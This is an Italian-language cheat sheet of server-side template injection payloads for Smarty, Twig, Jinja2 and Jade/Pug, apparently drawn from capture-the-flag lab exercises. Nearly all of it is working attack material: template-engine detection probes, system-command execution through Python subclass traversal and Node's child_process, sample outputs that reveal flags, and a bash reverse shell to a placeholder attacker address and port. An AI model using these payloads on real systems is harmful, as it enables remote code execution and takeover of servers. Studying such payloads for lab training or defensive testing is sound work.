tags: SSTI_Payloads_per_Motore SSTI SSTI_Payloads


Smarty (PHP)

Rilevare il tipo di Template

#Payload 
 
{'Hello'|upper}
 
#Output
 
HELLO

Eseguire Comandi di Sistema

#Payload 
 
'{system("ls")}'
 
#Output 
 
flag.txt index.php smarty-3.1.30 smarty-3.1.30
 
#Reverse Shell
 
{system("bash -c 'bash -i >& /dev/tcp/TUO_IP/TUA_PORTA 0>&1'")}

Twig (PHP)

#Payload 
 
{{7*'7'}}
 
#Output
 
49

Jinja2 (Python)

Rilevare il tipo di Template

#Payload
 
{{7*'7'}}
 
#Output
 
7777777

Eseguire Comandi di Sistema

Per eseguire comandi di sitema in Jinja2 dobbiamo prima trovare la posizione della classe subprocess.CompletedProcess all’interno della sua memoria, per farlo possiamo prima lanciare il seguente payload che ci listerà tutte le classi:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Ora dobbiamo estrarre il numero di posizione di questa classe e lo possiamo fare immettendo l’output precedente in un file .txt e poi eseguire il seguente comando:

cat python.txt | sed 's/^\[//' | sed 's/\]$//' | tr "," "\n" | sed 's/^ *//' | sed 's/ *$//' | grep -n "subprocess"
 
157:<class 'subprocess.CompletedProcess'>
158:<class 'subprocess.Popen'>

Ora la sua posizione (157 in questo caso) la dovremo andare ad inserire nel seguente payload altrimenti non avrà nessun effetto:

#Payload per eseguire comandi di sistema singoli
 
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}
 
#Output
 
flag.txt app.js jade.js node
 
#Payload per eseguire comandi di sistema con più di un argomento
 
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['cat', 'flag.txt'])}}
 
#Output
 
THM{1f8c3b32ad3217e84c145398bae00876}

Nota

L'output di questi comandi inizierà sempre con b'

Jade/Pug (NodeJS)

A differenza di Twig e Jinja Jade/Pug ti permette di eseguire direttamente codice javascript.

Rilevare il tipo di Template

//Payload 
 
#{7*7}
 
//Output
 
49
 
 

Eseguire Comandi di Sistema

//payload per vedere informazioni sull'utente
 
#{root.process.mainModule.require('child_process').spawnSync('id').stdout}
 
//Output
 
uid=0(root) gid=0(root) groups=0(root)
 
//Payload per eseguire comandi di sistema singoli
 
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
 
//output
 
flag.txt app.js jade.js node
 
//Payload per eseguire comandi di sistema con più di un argomento
 
#{root.process.mainModule.require('child_process').spawnSync('cat', ['flag.txt']).stdout}
 
//Output
 
THM{1f8c3b32ad3217e84c145398bae00876}